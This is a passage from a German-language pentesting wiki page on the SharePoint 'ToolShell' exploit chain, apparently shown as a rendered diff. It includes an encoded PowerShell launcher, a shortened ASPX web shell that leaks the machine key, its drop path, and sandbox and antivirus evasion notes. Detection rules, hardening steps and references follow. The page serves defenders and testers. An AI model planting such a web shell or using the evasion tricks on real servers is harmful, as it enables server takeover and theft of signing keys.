||||
powershell.exe -EncodedCommand <base64>
|
||||
```
|
||||
Beispiel für einen decodierten Payload (verkürzt):
|
||||
```csharp
|
||||
<%@ Page Language="C#" %>
|
||||
<%@ Import Namespace="System.Security.Cryptography" %>
|
||||
<script runat="server">
|
||||
protected void Page_Load(object sender, EventArgs e){
|
||||
Response.Write(MachineKey.ValidationKey);
|
||||
// echo secrets or invoke cmd
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Geschrieben an:
|
||||
```
|
||||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||||
```
|
||||
Die Shell exponiert Endpunkte, um **Maschinen-Schlüssel zu lesen / zu rotieren**, was das Fälschen von ViewState- und ASPXAUTH-Cookies über die Farm ermöglicht.
|
||||
|
||||
### 3.3 Obfuskierte Variante (Variation-3)
|
||||
|
||||
Gleiche Shell, aber:
|
||||
* unter `...\15\TEMPLATE\LAYOUTS\` abgelegt
|
||||
* Variablennamen auf einzelne Buchstaben reduziert
|
||||
* `Thread.Sleep(<ms>)` hinzugefügt für Sandbox-Umgehung & zeitbasierte AV-Umgehung.
|
||||
|
||||
## 4. Erkennungsideen
|
||||
|
||||
| Telemetrie | Warum es verdächtig ist |
|
||||
|------------|-------------------------|
|
||||
| `w3wp.exe → cmd.exe` | Arbeitsprozess sollte selten eine Shell starten |
|
||||
| `cmd.exe → powershell.exe -EncodedCommand` | Klassisches lolbin-Muster |
|
||||
| Dateiereignisse, die `debug_dev.js` oder `spinstall0.aspx` erstellen | IOCs direkt von ToolShell |
|
||||
| `ProcessCmdLine ENTHÄLT ToolPane.aspx` (ETW/Modulprotokolle) | Öffentliche PoCs rufen diese Seite auf |
|
||||
|
||||
Beispiel XDR / Sysmon-Regel (Pseudo-XQL):
|
||||
```
|
||||
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
|
||||
```
|
||||
## 5. Härtung & Minderung
|
||||
|
||||
1. **Patch** – Die Sicherheitsupdates von Juli 2025 beheben *alle* vier CVEs.
|
||||
2. **Rotieren** Sie jeden `<machineKey>` und `ViewState` Geheimnisse nach einem Kompromiss.
|
||||
3. Entfernen Sie die *LAYOUTS* Schreibberechtigung von den Gruppen `WSS_WPG` & `WSS_ADMIN_WPG`.
|
||||
4. Blockieren Sie den externen Zugriff auf `/_layouts/15/ToolPane.aspx` auf Proxy/WAF-Ebene.
|
||||
5. Aktivieren Sie **ViewStateUserKey**, **MAC aktiviert** und benutzerdefinierte *EventValidation*.
|
||||
|
||||
## Verwandte Tricks
|
||||
|
||||
* IIS Post-Exploitation & web.config Missbrauch:
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||||
{{#endref}}
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [Unit42 – Aktive Ausnutzung von Microsoft SharePoint Schwachstellen](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||||
- [GitHub PoC – ToolShell Exploit-Kette](https://github.com/real-or-not/ToolShell)
|
||||
- [Microsoft Sicherheitsberatung – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Microsoft Sicherheitsberatung – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user